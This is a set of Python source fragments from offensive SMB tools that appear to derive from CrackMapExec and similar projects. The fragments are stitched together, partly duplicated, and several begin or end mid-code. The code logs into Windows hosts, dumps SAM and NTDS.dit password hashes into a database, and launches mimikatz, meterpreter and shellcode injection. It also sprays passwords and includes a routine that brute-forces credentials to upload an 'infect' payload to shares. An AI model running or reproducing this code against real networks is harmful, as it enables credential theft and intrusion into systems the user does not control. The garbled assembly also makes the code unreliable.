EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) try: smb.logoff() except: pass try: ms_sql.disconnect() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA # Methods were modified from: # https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py ################################ def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): def add_sam_hash(sam_hash, host): self.logger.success([self.host, self.ip, "SAM HASH", sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash)) add_sam_hash.added_to_db += 1 try: add_sam_hash.added_to_db = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.debug('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) if add_sam_hash.added_to_db > 0: self.logger.success([ self.host, self.ip, "SAM HASH", '{} NTLM hashes added to the database'.format( add_sam_hash.added_to_db) ]) try: self.remote_ops.finish() SAM.finish() except Exception as e: self.logger.debug( ["SAM", "Error calling remote_ops.finish(): {}".format(e)]) def ntds(self): def add_ntds_hash(ntds_hash): if ntds_hash.find('$') == -1: if "CLEARTEXT" in ntds_hash: try: add_ntds_hash.clear_text += 1 username, password = ntds_hash.split(":CLEARTEXT:") domain, username = username.split("\\") self.db.update_user(username, '', domain, password) add_ntds_hash.added_to_db += 1 except: self.logger.fail( "Error adding clear text cred to db: {}".format( ntds_hash)) else: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): add_ntds_hash.ntds_hashes += 1 self.db.update_user(username, '', domain, "{}:{}".format(lmhash, nthash)) add_ntds_hash.added_to_db += 1 except: self.logger.debug( "Skipping non-NTLM hash: {}".format(ntds_hash)) else: self.logger.debug("Skipping computer account") try: self.enable_remoteops() use_vss_method = self.args.use_vss NTDSFileName = None add_ntds_hash.ntds_hashes = 0 add_ntds_hash.clear_text = 0 add_ntds_hash.added_to_db = 0 outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, self.domain) if self.remote_ops and self.bootkey: if self.args.ntds is 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=outfile, justUser=None, printUserStatus=False, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret)) self.logger.info([ self.host, self.ip, "NTDS", 'Dumping NTDS.dit, this could take a minute' ]) NTDS.dump() self.logger.success([ self.host, self.ip, "NTDS", '{} NTLM hashes and {} clear text passwords collected'. format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text) ]) self.logger.success([ self.host, self.ip, "NTDS", '{} creds added to the database'.format( add_ntds_hash.added_to_db) ]) self.logger.info([ self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile) ]) else: raise Exception("RemoteOps and BootKey not initiated") except Exception as e: self.logger.fail('NTDS Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() NTDS.finish() except Exception as e: self.logger.debug( ["NTDS", "Error calling remote_ops.finish(): {}".format(e)]) ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB'}) cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain)) if settings.args.mssql_instance or settings.args.mssql is not None: mssql_greenlet(host, s_name, domain) return try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, domain, smb, cme_logger) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, settings.args.user, domain, settings.args.passwd, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL(cme_logger, settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class Host(object): def __init__(self, ip, scanner): self.ip = ip self.data = scanner[ip] self.is_up = self.data.state() == 'up' self.open_ports = [x for x in self.data['tcp'].keys() if self.data['tcp'][x]['state'] == 'open'] self.domain = '' self.name = '' self.os = '' self.ex = None self.smb = None self.shares = None self.infected = None def __str__(self): return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format( self.ip, ', domain: {0}'.format(self.domain) if self.domain else '', ', name: {0}'.format(self.name) if self.name else '', ', os: {0}'.format(self.os) if self.os else '', 'up' if self.is_up else 'down', ', result: {0}'.format(self.ex) if self.ex else ', result: {0}'.format('Infected') if self.infected else '' ) @property def chosen_port(self): for p in SMB_PORTS: if p in self.open_ports: return p raise Exception('No port can be used to infect this host') @property def is_connected(self): return self.smb is not None def connect(self, password_generator): try: self.smb = SMBConnection('*SMBSERVER', self.ip, sess_port=int(self.chosen_port)) self.smb.login('', '') self.domain = self.smb.getServerDomain() self.name = self.smb.getServerName() self.os = self.smb.getServerOS() for username, password, lmhash, nthash in password_generator: try: self.smb.login(username, password, lmhash=lmhash, nthash=nthash) self.shares = self.smb.listShares() self.ex = None break except SessionError as ex: self.ex = ex except SessionError as ex: self.ex = ex def infect(self, password_generator, share, source, destination): try: if not path.isfile(source): raise Exception('Source file {0} does not exist.'.format(source)) if not self.is_connected: self.connect(password_generator) if self.ex: return with open(source, 'rb') as f: self.smb.putFile(share, destination, f.read) self.ex = None self.infected = True except SessionError as ex: self.ex = ex
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA ################################ def enable_remoteops(self): # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): try: self.enable_remoteops() def add_sam_hash(sam_hash, host_id): self.logger.success( [self.host, highlight("SAM HASH"), sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host_id, "{}:{}".format(lmhash, nthash)) if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.fail('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() except Exception as e: self.logger.debug( "Error calling remote_ops.finish() for {}: {}".format( self.host, str(e))) SAM.finish() ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
def connect(host): ''' My imagination flowed free when coming up with this name This is where all the magic happens ''' try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, smb, domain) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.service: service_control = SVCCTL(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
class Smb: """Password spray SMB services""" smbv1 = True # port, timeout and fireprox are dead args here. exist only to keep # formatting and logic from main spraycharles.py consistent with HTTP modules def __init__(self, host, port, timeout, fireprox): self.host = host self.url = f"smb://{host}" conn = "" domain = "" hostname = "" os = "" # creds username = "" password = "" def get_conn(self): # Try connecting with SMBv1 first try: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) except Exception as e: # print(e) self.smbv1 = False # v1 failed, try with v3 try: self.conn = SMBConnection(self.host, self.host, None, 445) except Exception as e: # print(e) # failed to get smb connection return False # enumerate host info try: self.conn.login("", "") except SessionError: pass self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.os = self.conn.getServerOS() return True def login(self, username, password): # set class attributes so they can be accessed in print_response() self.username = username self.password = password # split out domain and username if currently joined domain = "" if "\\" in username: domain = username.split("\\")[0] username = username.split("\\")[1] # get new smb connection if self.smbv1: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) else: self.conn = SMBConnection(self.host, self.host, None, 445) # login try: self.conn.login(username, self.password, domain) self.conn.logoff() return "STATUS_SUCCESS" except SessionError as e: if "STATUS_LOGON_FAILURE" in str(e): return "STATUS_LOGON_FAILURE" elif "STATUS_ACCOUNT_LOCKED_OUT" in str(e): return "STATUS_ACCOUNT_LOCKED_OUT" elif "STATUS_ACCOUNT_DISABLED" in str(e): return "STATUS_ACCOUNT_DISABLED" elif "STATUS_PASSWORD_EXPIRED" in str(e): return "STATUS_PASSWORD_EXPIRED" elif "STATUS_PASSWORD_MUST_CHANGE" in str(e): return "STATUS_PASSWORD_MUST_CHANGE" else: # something funky happened return str(e) # handle CSV out output headers. Can be customized per module def print_headers(self, csvfile): # print table headers print("%-25s %-17s %-23s" % ("Username", "Password", "SMB Login")) print("-" * 68) # create CSV file output = open(csvfile, "w") fieldnames = ["Username", "Password", "SMB Login"] output_writer = csv.DictWriter(output, delimiter=",", fieldnames=fieldnames) output_writer.writeheader() output.close() # handle target's response evaluation. Can be customized per module def print_response(self, response, csvfile, timeout=False): # print result to screen print("%-25s %-17s %-23s" % (self.username, self.password, response)) # print to CSV file output = open(csvfile, "a") output.write(f"{self.username},{self.password},{response}\n") output.close()
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + 